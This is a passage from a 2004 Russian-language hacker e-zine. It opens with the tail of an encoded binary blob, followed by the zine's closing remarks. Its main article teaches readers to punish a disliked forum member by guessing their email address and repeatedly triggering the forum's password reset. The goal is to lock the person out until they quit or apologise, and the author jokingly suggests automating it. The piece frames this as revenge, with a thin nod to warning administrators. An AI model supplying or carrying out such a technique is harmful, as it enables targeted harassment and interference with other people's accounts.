MU<O.T^?FS,/4;OK2R-1MWL+%TL[7ZL_&T-3/Y'+9R\W0Z^G/SFOPQ<EE6N'/
MTMC7T<_:>'#9SMCHULW4X-[=W^GBW=KA[>K^[LW)WF%JU\O9_=S3YVWTX=K7
MU-7E9NG2Y'/<UO;]T<_L_^G?W.?YW-=Z;M3,V.'O[MC2XN;4V&A:[='4W]S8
MYF]]V,[6XN+HY-+2Y>+6W>_?V>UP=>K0R]GRX]K@[NC=WO)^W]/7\N'.S^+?
MUM?9TM?L_]K-U_/XW-GH_]W0WFKIS,[GZ-+1Y.[<V>KOWM77W-G.U>GGXO;D
MU-7DZ=G1V>+?VMG=X]C7Z?_IT<C2]M[3Z6?GSL_G?NO?V<_.TMK>W-G>W=/.
MV.?:S]/;V=S@W-O5U-WEV]#.W/7>S]CKX\W*V?G<S,_8U-'9W-W?WM/1U]S7
MU-?8U=34W.;;T^#NW<[,TMS?V][=U<_0W/GQV<[/V][6U-C>X-;2W>G;UMK=
3V]S;V-K>W]_AZN'7UN#NYN3?W0``
`
end
sum -r/size 38165/28144
<++ end :1001: ++>
--------------------------------------------------------------------------------
+fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine+
<==============================================================================>
:1010: [ one forum's trick ] by b3$t_m0w1 :1010:
<==============================================================================>
+fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine+
--------------------------------------------------------------------------------
<++ start :1010: ++>
Hi!
Вообщем, что стоит сказать? Подобно рода действа я нигде не встречал (имеется
ввиду его описание), но это на сегодняшний день вполне актуально. Итак...
Кто не любит форумы? Имхо таких людей меньшинство. И вправду - можно задать
вопрос, ответить, пообщаться по теме и т.д. И хорошо, если все зарегенные поль-
зователи форума нормальные, серьёзные люди. Но иногда попадаются самые нату-
ральные ламаки, которые грубят вам, ничего толком по теме не говорят и не при-
водят никаких аргументированных доводов. И частенько модераторам безразлично
такое поведение. Как же наказать того чела и отнять у него всякое желание
появляться на форуме?
Есть один трикс (возможно он кому - то уже знаком, а возможно нет).
Как вы знаете, почти на всех форумах имеется "аварийное восстановление паро-
лей". То есть вы щёлкаете на ссылку (к примеру) "Забыли пароль?" и перед вами
образуется формочка, куда вы заносите имя, под которым регились и свой почто-
вик. Через некоторое время к вам на мыльник приходит письмо с новым паролем.
И вы уже с этим паролем и старым ником входите на форум.
Не замечаете ли вы в этом простом алгоритме восстановления паролей маленькую не-
точность?
Вы угадали (вот фака - эти парни меня шокируют =) )! Никто у вас не отнимет
возможности самим ввести ник "плохого" форумера и попытаться подобрать его поч-
товый адрес (иногда мыльник не светится, но благо, что админы не ставят ника-
ких ограничений на его подбор).
К примеру:
Логин: 14m3b0Y
E-mail: [email protected]
То, что логин соответствует имени пользователя почтового сервера в 95% именно
так. А хосты подбирайте разные, делая упор на самые известные, будь то mail.ru,
yandex.ru, mail.kz, etc...
Представляете, когда вы раз 20 поменяете пароль ламовому парняге, он будет не-
приятно себя чуствовать. А так как сейчас многие дорожат своими почтовиками (ну
к примеру, он уже точно не зарегит на mail.ru почтовик на пользователя 14m3b0y;
да и тем более ему надоест регить себе новые почтовые ящики). Таким образом,
процентов 85% вероятности, что он угомонится и возможно попросит прощения. А
как следствие из этого - успокоитесь и вы.
Конечно, никто не говорит, что в подобной ситуации можете оказаться и вы, так
что, я бы посоветовал админам как следут продумать систему восстановления па-
ролей.
Да и кстати, именно таким методом можно подорвать авторитет любого более - ме-
нее уважающего себя форума. Можно даже написать специальный инструмент, целями
которого будет являться именно это. Но это удел компьютерного ублюдка. Так что,
если ты компьтерный ублюдок - пиши его ))
Я рассказал про это, только для того, чтобы вы знали как действовать в подобных
ситуациях и что такие неприятные моменты всё - таки существуют в нашей он -
лайновой жизни.
CUL!
from b3$t_m0w1...
<++ end :1010: ++>
--------------------------------------------------------------------------------
+fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine+
<==============================================================================>
:1011: [ close words ] by b3$t_m0w1 :1011:
<==============================================================================>
+fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine++fds-zine+
--------------------------------------------------------------------------------
<++ start :1011: ++>
На этом у нас всё.
Надеемся, что этот выпуск вам понравился и вся наша работа оказалась не зря
проделанной. В конечном итоге мы всё - таки старались.
Если вам нравиться то, что мы делаем - пишите нам, высказывайте свои мнения,
присылайте свои статьи, обзоры, исходники. Вообщем развивайтесь и помогайте
развиваться нашему электронному журналу.
Спасибо ещё раз всем тем, кого мы знаем, а также всем читателям нашего зайна.
До встречи в четвёртом выпуске "Feeling of Digital Streams"!
<++ end :1011: ++>
--------------------------------------------------------------------------------
>> "Feeling of Digital Streams", Network e-zine, Issue 3 '04 <<
--------------------------------------------------------------------------------